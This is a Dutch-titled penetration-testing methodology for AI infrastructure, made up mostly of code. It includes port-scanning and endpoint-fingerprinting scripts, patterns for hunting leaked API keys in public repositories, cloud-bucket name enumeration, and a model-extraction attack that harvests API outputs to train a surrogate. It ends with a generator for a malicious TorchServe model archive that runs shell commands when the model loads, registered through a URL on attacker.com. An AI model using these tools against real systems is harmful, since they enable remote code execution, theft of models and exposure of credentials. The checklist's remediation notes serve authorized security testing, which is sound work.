Penetratietestmethodologie voor AI-infrastructuur

"""
Verkenningstoolkit voor AI-infrastructuur.
Verzamelt informatie over doel-AI-systemen via passieve
en semi-passieve technieken.
"""
 
import re
import json
import socket
from typing import Optional
from dataclasses import dataclass, field
from urllib.parse import urlparse
 
@dataclass
class ReconResult:
    """Gestructureerde verkenningsbevindingen."""
    target: str
    ml_frameworks: list[str] = field(default_factory=list)
    serving_endpoints: list[dict] = field(default_factory=list)
    storage_buckets: list[str] = field(default_factory=list)
    exposed_dashboards: list[dict] = field(default_factory=list)
    gpu_infrastructure: list[str] = field(default_factory=list)
    api_endpoints: list[dict] = field(default_factory=list)
    credentials_found: list[dict] = field(default_factory=list)
 
class AIInfraRecon:
    """
    Passieve en semi-passieve verkenning voor AI-infrastructuur.
    """
 
    # Veelvoorkomende poorten voor AI-diensten
    AI_SERVICE_PORTS = {
        5000: "MLflow Tracking Server",
        5001: "MLflow Model Serving",
        6006: "TensorBoard",
        6007: "TensorBoard (alt)",
        8000: "Triton HTTP / vLLM",
        8001: "Triton gRPC",
        8002: "Triton Metrics",
        8080: "TorchServe Inference / Seldon",
        8081: "TorchServe Management",
        8082: "TorchServe Metrics",
        8265: "Ray Dashboard",
        8443: "Kubeflow Dashboard",
        8501: "TensorFlow Serving REST",
        8500: "TensorFlow Serving gRPC",
        8786: "Dask Scheduler",
        8787: "Dask Dashboard",
        8888: "Jupyter Notebook",
        9090: "Prometheus",
        3000: "Grafana",
        9001: "MinIO Console",
        9000: "MinIO API",
        4040: "Spark UI",
        18080: "Spark History",
        8998: "Livy (Spark REST)",
    }
 
    # Bekende paden voor fingerprinting van AI-diensten
    FINGERPRINT_PATHS = {
        "/api/2.0/mlflow/experiments/list": "MLflow",
        "/v2": "Triton Inference Server",
        "/v1/models": "vLLM / OpenAI API",
        "/api/sessions": "Jupyter Notebook",
        "/api/kernels": "Jupyter Notebook",
        "/models": "TorchServe",
        "/v1/models/": "TensorFlow Serving",
        "/data/runs": "TensorBoard",
        "/api/v1/nodes": "Ray",
        "/pipeline/apis/v2beta1/pipelines": "Kubeflow Pipelines",
        "/_/healthz": "Kubeflow",
    }
 
    def __init__(self, target: str):
        self.target = target
        self.result = ReconResult(target=target)
 
    def scan_ai_ports(self, timeout: float = 2.0) -> list[dict]:
        """
        Scan op veelvoorkomende poorten van AI-diensten.
        Semi-passief: maakt verbinding maar stuurt geen exploits.
        """
        open_ports = []
        for port, service in self.AI_SERVICE_PORTS.items():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(timeout)
                result = sock.connect_ex((self.target, port))
                sock.close()
 
                if result == 0:
                    open_ports.append({
                        "port": port,
                        "service": service,
                        "state": "open",
                    })
            except (socket.error, OSError):
                continue
 
        self.result.serving_endpoints.extend(open_ports)
        return open_ports
 
    def analyze_github_repos(self, org_name: str) -> dict:
        """
        Analyseer openbare GitHub-repositories op details over AI-infrastructuur.
        Zoekt naar gebruik van ML-frameworks, modelconfiguraties en
        per ongeluk gecommitte credentials.
 
        Opmerking: Dit is een patroongebaseerde analyse. Een daadwerkelijke
        implementatie zou GitHub's search-API gebruiken of openbare repo's klonen.
        """
        # Patronen om in openbare repo's te zoeken
        search_patterns = {
            "ml_frameworks": [
                "import torch", "import tensorflow",
                "from transformers import", "import sklearn",
                "import onnxruntime",
            ],
            "infrastructure": [
                "sagemaker", "kubeflow", "mlflow",
                "triton_client", "torchserve",
                "ray.serve", "seldon",
            ],
            "credentials": [
                "aws_access_key_id", "GOOGLE_APPLICATION_CREDENTIALS",
                "MLFLOW_TRACKING_URI", "WANDB_API_KEY",
                "HF_TOKEN", "OPENAI_API_KEY",
            ],
            "model_configs": [
                "model_config.pbtxt",  # Triton
                "config.properties",  # TorchServe
                "serving_config",
            ],
        }
 
        return {
            "org": org_name,
            "patterns": search_patterns,
            "note": (
                "Search these patterns in public repos using GitHub "
                "code search: site:github.com org:<org_name>"
            ),
        }
 
    def enumerate_cloud_storage(self, company_name: str) -> list[str]:
        """
        Genereer kandidaat-namen voor buckets/containers met AI-assets
        op basis van veelvoorkomende naamgevingsconventies.
        """
        prefixes = [company_name, company_name.replace("-", ""), company_name.lower()]
        suffixes = [
            "training-data", "models", "datasets", "ml-artifacts",
            "model-registry", "checkpoints", "embeddings",
            "sagemaker", "mlflow", "feature-store",
            "pipeline-data", "experiment-artifacts",
        ]
 
        candidates = []
        for prefix in prefixes:
            for suffix in suffixes:
                candidates.append(f"{prefix}-{suffix}")
                candidates.append(f"{prefix}.{suffix}")
 
        self.result.storage_buckets = candidates
        return candidates
 
    def generate_report(self) -> str:
        """Genereer een gestructureerd verkenningsrapport."""
        report = {
            "target": self.target,
            "phase": "reconnaissance",
            "findings": {
                "open_ai_ports": self.result.serving_endpoints,
                "candidate_storage": self.result.storage_buckets,
                "ml_frameworks": self.result.ml_frameworks,
            },
            "next_steps": [
                "Fingerprint open services to identify versions",
                "Test candidate storage buckets for public access",
                "Analyze service APIs for authentication requirements",
                "Map internal network topology from exposed services",
            ],
        }
        return json.dumps(report, indent=2)

#!/usr/bin/env bash
# Actieve enumeratie van AI-infrastructuurdiensten
# Voer uit na passieve verkenning om ontdekte diensten te fingerprinten
 
TARGET="${1:?Usage: $0 <target_host>}"
echo "=== AI Infrastructure Active Enumeration ==="
echo "Target: $TARGET"
echo ""
 
# Poortscan gericht op AI-diensten
echo "--- Port Scanning (AI service ports) ---"
nmap -sV -p 3000,4040,5000,5001,6006,8000-8002,8080-8082,8265,8443,8500,8501,8786-8788,8888,8998,9000,9001,9090,18080 \
    --open -oN "ai_ports_${TARGET}.txt" "$TARGET" 2>/dev/null
 
echo ""
echo "--- Service Fingerprinting ---"
 
# Test elke ontdekte dienst op identiteit en versie
for port in 5000 8000 8080 8501 8888; do
    echo "Port $port:"
 
    # Generieke HTTP-fingerprint
    RESP=$(curl -s --connect-timeout 3 -D - "http://${TARGET}:${port}/" 2>/dev/null | head -20)
    if [ -n "$RESP" ]; then
        echo "$RESP" | grep -iE "server:|x-powered|content-type" || true
    fi
 
    # Probeer AI-specifieke endpoints
    for path in "/v2" "/models" "/v1/models" "/api/2.0/mlflow/experiments/list" "/api/sessions" "/health"; do
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
            --connect-timeout 3 "http://${TARGET}:${port}${path}" 2>/dev/null)
        if [ "$HTTP_CODE" = "200" ] || [ "$HTTP_CODE" = "401" ]; then
            echo "  ${path} -> HTTP ${HTTP_CODE}"
        fi
    done
    echo ""
done
 
echo "--- Model API Probing ---"
# Test op OpenAI-compatibele API (vLLM, LiteLLM, enz.)
MODELS_RESP=$(curl -s --connect-timeout 3 "http://${TARGET}:8000/v1/models" 2>/dev/null)
if echo "$MODELS_RESP" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null; then
    echo "OpenAI-compatible API found on port 8000:"
    echo "$MODELS_RESP" | python3 -m json.tool 2>/dev/null
fi
 
echo ""
echo "=== Enumeration Complete ==="
echo "Results saved to ai_ports_${TARGET}.txt"

"""
Engine voor kwetsbaarheidsbeoordeling van AI-infrastructuur.
Koppelt ontdekte diensten aan bekende kwetsbaarheidspatronen
en genereert een geprioriteerd testplan.
"""
 
import json
from dataclasses import dataclass, field
from typing import Optional
from enum import Enum
 
class RiskLevel(Enum):
    CRITICAL = "critical"
    HIGH = "high"
    MEDIUM = "medium"
    LOW = "low"
    INFO = "info"
 
@dataclass
class VulnerabilityCheck:
    """Een enkele uit te voeren kwetsbaarheidscheck."""
    check_id: str
    name: str
    atlas_technique: str
    risk_level: RiskLevel
    target_service: str
    description: str
    test_procedure: str
    remediation: str
 
# Database met kwetsbaarheidschecks voor AI-infrastructuur
AI_VULN_CHECKS = [
    VulnerabilityCheck(
        check_id="AI-SERVE-001",
        name="Unauthenticated Model Management API",
        atlas_technique="AML.T0010",
        risk_level=RiskLevel.CRITICAL,
        target_service="TorchServe",
        description=(
            "TorchServe management API (port 8081) allows model "
            "registration, which executes arbitrary Python code."
        ),
        test_procedure=(
            "1. Attempt GET /models on port 8081\n"
            "2. If accessible, attempt POST /models with a test URL\n"
            "3. Check for SSRF by using internal URLs"
        ),
        remediation=(
            "Bind management API to localhost. Use network policies "
            "to restrict access. Upgrade to >= 0.8.2."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-SERVE-002",
        name="Model Information Disclosure",
        atlas_technique="AML.T0024",
        risk_level=RiskLevel.MEDIUM,
        target_service="Triton/vLLM/TorchServe",
        description=(
            "Model metadata endpoints expose architecture details, "
            "input/output shapes, and version information."
        ),
        test_procedure=(
            "1. Query /v2/models/<name>/config (Triton)\n"
            "2. Query /v1/models (vLLM)\n"
            "3. Query /models/<name> (TorchServe)\n"
            "4. Document exposed information"
        ),
        remediation=(
            "Restrict metadata endpoints to authenticated clients. "
            "Remove unnecessary model configuration details."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-DATA-001",
        name="Training Data Storage Public Access",
        atlas_technique="AML.T0020",
        risk_level=RiskLevel.CRITICAL,
        target_service="S3/GCS/Azure Blob",
        description=(
            "Training data in publicly accessible cloud storage "
            "can be read or modified by anyone."
        ),
        test_procedure=(
            "1. Enumerate bucket names using naming conventions\n"
            "2. Test each for public listing (GET /)\n"
            "3. Test for public object access\n"
            "4. Test for public write access"
        ),
        remediation=(
            "Enable Block Public Access at account level. "
            "Enable versioning and Object Lock."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-PIPE-001",
        name="Unauthenticated Pipeline Orchestrator",
        atlas_technique="AML.T0010",
        risk_level=RiskLevel.CRITICAL,
        target_service="Kubeflow/Airflow",
        description=(
            "Pipeline orchestrators without authentication allow "
            "submission of arbitrary pipeline runs."
        ),
        test_procedure=(
            "1. Access Kubeflow dashboard (port 8443)\n"
            "2. Attempt to create a pipeline run\n"
            "3. Check Airflow webserver (port 8080) for auth\n"
            "4. Test Airflow REST API"
        ),
        remediation=(
            "Enable authentication (OIDC for Kubeflow, "
            "RBAC for Airflow). Use network policies."
        ),
    ),
    VulnerabilityCheck(
        check_id="AI-GPU-001",
        name="GPU Memory Cross-Tenant Leakage",
        atlas_technique="AML.T0024",
        risk_level=RiskLevel.HIGH,
        target_service="GPU Clusters",
        description=(
            "GPU memory may not be cleared between job allocations, "
            "allowing one tenant to read another's model weights or data."
        ),
        test_procedure=(
            "1. Run a GPU job that writes known patterns to GPU memory\n"
            "2. Release the GPU allocation\n"
            "3. Run another job on the same GPU\n"
            "4. Read GPU memory for residual patterns"
        ),
        remediation=(
            "Enable NVIDIA MPS/MIG for isolation. Use CUDA_VISIBLE_DEVICES. "
            "Clear GPU memory between allocations in the scheduler."
        ),
    ),
]
 
class VulnerabilityAssessment:
    """
    Beheer en voer kwetsbaarheidsbeoordelingen van AI-infrastructuur uit.
    """
 
    def __init__(self):
        self.checks = AI_VULN_CHECKS
        self.results: list[dict] = []
 
    def get_applicable_checks(
        self, discovered_services: list[str],
    ) -> list[VulnerabilityCheck]:
        """
        Filter kwetsbaarheidschecks naar die welke van toepassing zijn
        op ontdekte diensten.
        """
        applicable = []
        for check in self.checks:
            target_lower = check.target_service.lower()
            for service in discovered_services:
                service_lower = service.lower()
                # Match als een deel van het doel overeenkomt met een ontdekte dienst
                targets = target_lower.split("/")
                if any(t in service_lower for t in targets):
                    applicable.append(check)
                    break
        return applicable
 
    def generate_test_plan(
        self, discovered_services: list[str],
    ) -> str:
        """Genereer een geprioriteerd testplan op basis van ontdekte diensten."""
        applicable = self.get_applicable_checks(discovered_services)
 
        # Sorteer op risiconiveau
        risk_order = {
            RiskLevel.CRITICAL: 0,
            RiskLevel.HIGH: 1,
            RiskLevel.MEDIUM: 2,
            RiskLevel.LOW: 3,
            RiskLevel.INFO: 4,
        }
        applicable.sort(key=lambda c: risk_order[c.risk_level])
 
        plan = {
            "total_checks": len(applicable),
            "by_risk": {},
            "checks": [],
        }
 
        for check in applicable:
            risk = check.risk_level.value
            plan["by_risk"][risk] = plan["by_risk"].get(risk, 0) + 1
            plan["checks"].append({
                "id": check.check_id,
                "name": check.name,
                "risk": risk,
                "atlas": check.atlas_technique,
                "target": check.target_service,
                "procedure": check.test_procedure,
            })
 
        return json.dumps(plan, indent=2)

"""
Demonstratie van een modelextractie-aanval voor penetratietesten.
Query een doel-model-API systematisch om input-outputparen te verzamelen
voor het trainen van een surrogaatmodel.
 
WARNING: For authorized penetration testing only.
"""
 
import requests
import numpy as np
import json
import time
from typing import Optional
from pathlib import Path
 
class ModelExtractionAttack:
    """
    Extraheer het gedrag van een doelmodel via API-queries.
    Gebruikt active learning om het benodigde aantal queries te minimaliseren.
    """
 
    def __init__(
        self,
        target_url: str,
        model_name: str = "default",
        rate_limit: float = 0.1,  # seconden tussen verzoeken
    ):
        self.target_url = target_url.rstrip("/")
        self.model_name = model_name
        self.rate_limit = rate_limit
        self.query_count = 0
        self.collected_pairs: list[dict] = []
 
    def query_model(
        self,
        input_data: dict,
        timeout: int = 30,
    ) -> Optional[dict]:
        """Stuur een enkele query naar het doelmodel."""
        try:
            resp = requests.post(
                f"{self.target_url}/v1/completions",
                json={
                    "model": self.model_name,
                    "prompt": input_data.get("prompt", ""),
                    "max_tokens": input_data.get("max_tokens", 100),
                    "temperature": 0.0,  # Deterministisch voor extractie
                    "logprobs": 5,  # Vraag logprobs aan indien beschikbaar
                },
                timeout=timeout,
            )
            self.query_count += 1
 
            if resp.status_code == 200:
                return resp.json()
            elif resp.status_code == 429:
                # Rate limited — back-off
                time.sleep(5)
                return None
            else:
                return None
 
        except requests.RequestException:
            return None
 
    def generate_extraction_queries(
        self,
        domain: str = "general",
        num_queries: int = 1000,
    ) -> list[dict]:
        """
        Genereer een diverse set queries die ontworpen zijn om het
        gedrag van het model over zijn inputruimte in kaart te brengen.
        """
        queries = []
 
        # Strategie 1: Systematische promptvariaties
        base_prompts = [
            "The capital of {} is",
            "Translate to French: {}",
            "Summarize: {}",
            "The opposite of {} is",
            "Define the word: {}",
        ]
 
        # Strategie 2: Inputs met variërende lengte om contextvenster-gedrag in kaart te brengen
        for length in [10, 50, 100, 500]:
            queries.append({
                "prompt": "word " * length,
                "max_tokens": 50,
                "strategy": "length_probe",
            })
 
        # Strategie 3: Aftasten met speciale tokens
        special_tokens = [
            "<|endoftext|>", "[INST]", "<<SYS>>",
            "<s>", "</s>", "[PAD]",
        ]
        for token in special_tokens:
            queries.append({
                "prompt": f"Repeat: {token}",
                "max_tokens": 50,
                "strategy": "token_probe",
            })
 
        return queries[:num_queries]
 
    def run_extraction(
        self,
        num_queries: int = 100,
        output_path: str = "extraction_results.jsonl",
    ) -> dict:
        """
        Voer de modelextractie-aanval uit.
        Verzamelt input-outputparen voor het trainen van een surrogaatmodel.
        """
        queries = self.generate_extraction_queries(num_queries=num_queries)
 
        with open(output_path, "w") as f:
            for i, query in enumerate(queries):
                result = self.query_model(query)
                if result:
                    pair = {
                        "input": query,
                        "output": result,
                        "query_num": i,
                    }
                    f.write(json.dumps(pair) + "\n")
                    self.collected_pairs.append(pair)
 
                time.sleep(self.rate_limit)
 
                if (i + 1) % 100 == 0:
                    print(
                        f"Progress: {i + 1}/{len(queries)} queries, "
                        f"{len(self.collected_pairs)} successful"
                    )
 
        return {
            "total_queries": self.query_count,
            "successful_pairs": len(self.collected_pairs),
            "output_file": output_path,
        }

"""
Genereer een proof-of-concept kwaadaardig modelarchief voor TorchServe.
De model-handler voert een onschadelijk commando uit om RCE-mogelijkheid
te demonstreren zonder schade te veroorzaken.
 
WARNING: For authorized penetration testing only.
"""
 
import os
import zipfile
import json
import tempfile
from pathlib import Path
 
def create_poc_torchserve_handler(command: str = "id") -> str:
    """
    Maak een TorchServe-handler die een commando uitvoert
    wanneer het model wordt geladen of wanneer inference wordt aangeroepen.
    """
    handler_code = f'''
import subprocess
import logging
from ts.torch_handler.base_handler import BaseHandler
 
logger = logging.getLogger(__name__)
 
class PoCHandler(BaseHandler):
    """
    Proof of concept handler that demonstrates code execution
    during model initialization (load-time RCE).
    """
 
    def initialize(self, context):
        """Called when the model is loaded. Executes the PoC command."""
        logger.info("PoC handler initialized")
        # Execute benign command to prove RCE capability
        try:
            result = subprocess.run(
                ["{command}"],
                capture_output=True, text=True, timeout=5, shell=True,
            )
            logger.info(f"PoC output: {{result.stdout}}")
            # Write proof to a known location
            with open("/tmp/pentest_poc_output.txt", "w") as f:
                f.write(f"Command: {command}\\n")
                f.write(f"Output: {{result.stdout}}\\n")
                f.write(f"PoC successful - RCE demonstrated\\n")
        except Exception as e:
            logger.error(f"PoC failed: {{e}}")
 
        # Initialize a minimal model so inference still works
        self.initialized = True
 
    def handle(self, data, context):
        """Handle inference requests."""
        return ["PoC model loaded successfully"]
'''
    return handler_code
 
def create_mar_archive(
    output_path: str,
    model_name: str = "security_test",
    command: str = "id && hostname && whoami",
) -> str:
    """
    Maak een .mar-bestand (Model ARchive) voor TorchServe
    dat de proof-of-concept handler bevat.
    """
    with tempfile.TemporaryDirectory() as tmpdir:
        # Maak het handler-bestand
        handler_path = os.path.join(tmpdir, "handler.py")
        with open(handler_path, "w") as f:
            f.write(create_poc_torchserve_handler(command))
 
        # Maak een minimaal modelbestand (vereist door het .mar-formaat)
        model_path = os.path.join(tmpdir, "model.pt")
        with open(model_path, "wb") as f:
            f.write(b"PLACEHOLDER")  # Minimale inhoud
 
        # Maak een MAR-INFO-bestand
        manifest = {
            "createdOn": "2026-03-21",
            "runtime": "python",
            "model": {
                "modelName": model_name,
                "handler": "handler.py",
            },
        }
        manifest_path = os.path.join(tmpdir, "MAR-INF/MANIFEST.json")
        os.makedirs(os.path.dirname(manifest_path), exist_ok=True)
        with open(manifest_path, "w") as f:
            json.dump(manifest, f)
 
        # Verpak in een ZIP (.mar is een ZIP-bestand)
        mar_path = output_path if output_path.endswith(".mar") else f"{output_path}.mar"
        with zipfile.ZipFile(mar_path, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.write(handler_path, "handler.py")
            zf.write(model_path, "model.pt")
            zf.write(manifest_path, "MAR-INF/MANIFEST.json")
 
    return mar_path
 
if __name__ == "__main__":
    import sys
    output = sys.argv[1] if len(sys.argv) > 1 else "security_test.mar"
    mar_file = create_mar_archive(output)
    print(f"PoC .mar archive created: {mar_file}")
    print(f"Register with: curl -X POST 'http://target:8081/models?"
          f"url=http://attacker.com/{os.path.basename(mar_file)}'")